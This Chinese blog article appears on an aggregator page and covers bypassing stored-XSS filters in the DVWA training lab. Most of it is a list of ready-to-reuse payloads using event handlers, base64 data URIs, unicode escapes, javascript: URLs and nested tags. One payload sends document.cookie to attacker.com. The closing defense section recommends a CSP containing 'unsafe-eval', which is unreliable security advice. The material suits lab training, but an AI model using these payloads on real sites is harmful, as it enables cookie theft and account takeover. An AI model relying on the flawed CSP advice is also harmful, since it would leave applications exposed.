当前位置: 首页 > news >正文

DVWA靶场实战:5种绕过存储型XSS过滤的骚操作(附Payload)

DVWA靶场实战:5种绕过存储型XSS过滤的骚操作(附Payload)

在Web安全领域,存储型XSS(Stored Cross-Site Scripting)因其持久性和广泛影响范围,一直被视为高危漏洞。DVWA(Damn Vulnerable Web Application)作为经典的Web安全演练平台,其存储型XSS模块设置了从Low到Impossible四个难度等级,模拟了不同强度的防御机制。本文将深入剖析五种突破中高难度过滤的实战技巧,并附可直接复用的攻击Payload。

1. HTML事件属性:突破标签过滤的利器

当传统<script>标签被严格过滤时,HTML事件属性成为绕过防御的首选方案。这类攻击利用HTML元素的内置事件处理器执行JavaScript代码,完全避开对脚本标签的依赖。

典型Payload示例:

<img src="invalid" onerror="alert('XSS via onerror')"> <div onmouseover="alert('XSS via onmouseover')">悬停触发</div> <svg onload="alert('XSS via SVG')"></svg>

实战绕过要点:

  • 事件选择:优先使用onerroronload等自动触发事件,降低用户交互依赖
  • 元素多样性:测试<img><iframe><body>等不同元素的兼容性
  • 属性组合:尝试同时设置多个事件属性增加成功率

注意:现代WAF可能检测常见事件属性,可通过大小写变异(如oNeRrOr)或部分编码绕过

2. Base64编码:对抗内容检测的隐身术

Base64编码能将恶意脚本转换为无害外观的字符串,特别适合绕过基于关键词匹配的过滤系统。这种技术常与data:协议结合使用,直接嵌入HTML元素。

技术实现流程:

  1. 将JavaScript代码转换为Base64格式
    echo -n "alert('XSS')" | base64 # 输出:YWxlcnQoJ1hTUycp
  2. 构造带解码逻辑的Payload:
    <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>

高级变种技巧:

  • SVG嵌套:将Base64编码的SVG文件作为图片源
    <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDov..."/>
  • 动态解码:通过atob()函数实时解码执行
    <img src=x onerror=eval(atob('YWxlcnQoJ1hTUycp'))>

3. Unicode编码:绕过关键词过滤的变形术

Unicode编码可将关键字符转换为转义序列,有效规避对特定关键词的检测。这种方法在对抗简单字符串匹配过滤时尤为有效。

编码对照表:

原始字符Unicode编码HTML实体
<\u003C<
>\u003E>
"\u0022"

实战应用案例:

<script>\u0061\u006C\u0065\u0072\u0074('\u0058\u0053\u0053')</script>

组合攻击策略:

  1. 混合使用不同编码形式(部分Unicode+部分明文)
  2. 结合HTML实体编码制造混淆
  3. 在字符串操作函数中动态解码:
    <img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))>

4. JavaScript协议:链接属性中的隐形杀手

javascript:协议允许在URL上下文中直接执行代码,为绕过标签限制提供了新途径。这种技术特别适用于可设置链接地址的HTML属性。

典型攻击向量:

<a href="javascript:alert(document.domain)">点击劫持</a> <iframe src="javascript:alert('XSS')"></iframe>

高级绕过技巧:

  • 协议混淆:使用javascripT:java%0ascript:等变体
  • 结合HTML5特性
    <embed src="javascript:alert('XSS')"> <object data="javascript:alert('XSS')"></object>
  • 双重编码攻击
    <a href="data:text/html;charset=utf-8,%3Cscript%3Ealert(1)%3C/script%3E">点击</a>

5. 嵌套标签与属性拼接:对抗正则过滤的终极手段

当防御系统采用简单正则表达式过滤时,通过精心构造的标签嵌套和属性分割可有效绕过检测。这种技术需要深入理解浏览器解析HTML的容错机制。

经典绕过模式:

<scr<script>ipt>alert('Bypass')</scr</script>ipt> <img """><script>alert('XSS')</script>">

DVWA High难度实战Payload:

<input onfocus=document.write('<img src=http://attacker.com/'+document.cookie+'>') autofocus>

防御突破方法论:

  1. 标签属性溢出:利用未闭合属性突破过滤
    <img src=x onerror=alert(1) "
  2. 注释干扰:插入注释破坏过滤正则
    <sc<!-- -->ript>alert(1)</sc<!-- -->ript>
  3. 命名空间混淆:利用SVG等XML命名空间特性
    <svg><script>alert('XSS')</script></svg>

防御方案设计指南

针对上述攻击手法,企业级防护需要构建多层防御体系:

防御矩阵对比表:

攻击类型基础防御增强防护终极方案
HTML事件属性过滤on*属性CSP限制unsafe-inline输入内容沙箱化
Base64编码检测data:协议解析嵌套编码内容禁用动态代码执行
Unicode编码统一字符标准化多层级解码检测输出编码上下文感知
JavaScript协议禁止javascript:链接白名单校验URL协议内容安全策略(CSP)
标签嵌套完整标签匹配DOM解析一致性检查前端框架自动转义

实施要点:

  1. 输入处理:使用DOMPurify等专业库进行净化
  2. 输出编码:根据上下文采用不同编码策略
    // HTML上下文 htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); // JavaScript上下文 json_encode($input, JSON_HEX_TAG);
  3. 内容安全策略:配置严格的CSP头
    Content-Security-Policy: default-src 'self'; script-src 'unsafe-eval'

在DVWA的Impossible难度中,这些防御措施的组合应用使得存储型XSS几乎无法 exploitation。实际开发中应当参考这种深度防御理念,建立从输入到输出的完整防护链条。

http://www.jsqmd.com/news/493388/

相关文章:

  • TSP和VRP到底有啥区别?用Python代码实例带你搞懂优化问题的本质
  • 为什么说AI创作的成本革命,比技术革命更重要?
  • 开源笔记新标杆!思源笔记:隐私优先+块级引用,打造你的终身知识库
  • 快速体验AI绘画:Stable Diffusion 3.5 FP8镜像,输入文字秒出高清图片
  • 春联生成模型-中文-base企业落地:文化传媒公司内容自动化生产方案
  • Reloaded-II:让游戏模组管理不再复杂的跨平台解决方案
  • 【ProtoBuf 语法详解】oneof 类型
  • 春节AI热潮后,网民真的“上车”了吗?
  • Debian 9.x 安装 Proxmox VE 保姆级教程(含NAT端口转发避坑指南)
  • 5步搞定!用FUTURE POLICE为爬取的播客/访谈录音添加毫秒级精准字幕
  • win10/11爆满的元凶!!!清空了140多GB
  • 【MCP 2026AI推理集成终极指南】:20年架构师亲授3大避坑红线、5步零故障上线法与实时吞吐提升217%的实测参数
  • HY-MT1.5-1.8B翻译模型性能优化:提升推理速度与降低显存占用
  • 永磁同步电机控制资料详解:涵盖参考论文、公式推导、模型构建及电机控制书籍等内容,CSDN沉沙分享
  • Qwen-Image-Lightning应用场景:快速为社交媒体生成8K高清配图
  • APM通过mission planner地面站摇杆指令给飞控
  • LeetCode-44 回溯解法
  • 【实战】ESP32 + LN298N 驱动编码器推杆:从零搭建位置闭环控制系统
  • 如何在3分钟内通过手机号找回QQ账号:终极快速解决方案
  • 力扣算法刷题 Day 14
  • 3大突破!图像矢量化技术如何解决中小企业设计资源优化难题
  • 抖音批量监控千名博主视频更新,实时下载技术解析
  • Python默认参数详解
  • VS Code 聊天功能深度解析:从激活到精通,解锁AI编程新范式
  • 从保护环设计到势垒高度设置:Silvaco仿真肖特基二极管的3个关键陷阱
  • Task2:ESP32代码学习和基础API需求
  • CLIP-GmP-ViT-L-14在嵌入式设备端的轻量化部署探索
  • 如何用Python实现三角函数公式的自动计算与验证
  • CTF流量分析新选择:3个核心功能让你轻松应对网络安全挑战
  • 从零开始:tModLoader全面指南 - 打造专属泰拉瑞亚模组世界